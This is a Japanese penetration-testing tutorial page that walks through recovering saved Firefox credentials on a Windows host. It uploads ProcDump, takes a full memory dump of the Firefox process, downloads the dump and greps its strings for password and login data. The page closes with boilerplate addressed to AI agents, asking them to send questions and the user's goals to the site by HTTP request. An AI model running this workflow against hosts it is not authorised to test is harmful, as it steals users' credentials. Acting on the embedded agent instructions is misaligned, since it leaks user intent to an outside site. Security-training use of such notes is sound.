> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/firefox-memory-dump-credential-recovery.md). # Firefox メモリダンプによる認証情報回復 ProcDump でメモリを取得し、文字列を確認して認証素材を探すことで、アクティブな Firefox プロセスから保存済みの認証情報を回復する。 ## Firefoxメモリダンプからの認証情報復元このワークフローは、Firefox が Windows ホスト上で実行されている場合の許可された評価で使用します。ブラウザのメモリには、アクティブなセッションの認証情報が含まれている可能性があります。 ### Firefox プロセスを特定する実行中のプロセスを一覧表示し、Firefox のプロセス ID を確認します。 ```powershell ps ```

Firefox process shown in PowerShell — 実行中の Firefox プロセスとその PID を特定します。

### ProcDump を入手する Sysinternals から ProcDump をダウンロードして展開する `procdump64.exe`. {% embed url="" %}

ProcDump download — Sysinternals から ProcDump をダウンロードします。

バイナリを対象ホストへ転送します。 ``` upload /workspace/procdump64.exe ```

Uploading ProcDump — ProcDump を Windows ホストへ転送します。

### プロセスメモリを取得する Firefox プロセスの完全なメモリダンプを作成します。置き換えてください `PID` を検出したプロセス ID に。 ```powershell .\procdump64.exe -accepteula -ma PID firefox_debug.dmp ```

Firefox memory dump created with ProcDump — Firefox プロセスの完全なダンプを作成します。

### ダンプを転送して確認するダンプを分析ホストにダウンロードします。 ``` download "C:/Users//Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ```

Downloading Firefox memory dump — ダンプを分析ホストへ転送します。

読み取り可能な文字列を抽出し、パスワード関連のパラメータで絞り込みます。 ```bash strings firefox_debug.dmp | grep -iE 'password|login|username' ```

Credentials found in Firefox process memory — 一致した文字列を、認証情報の可能性があるか確認します。

各結果を文脈の中で確認します。回収した認証情報は、スコープ内のサービスに対してのみ検証してください。 ### 結果を記録するプロセス ID、ダンプのパス、関連する証拠、および検証結果を記録します。回収したパスワードを公開メモに保存しないでください。 --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/post-exploitation/firefox-memory-dump-credential-recovery.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.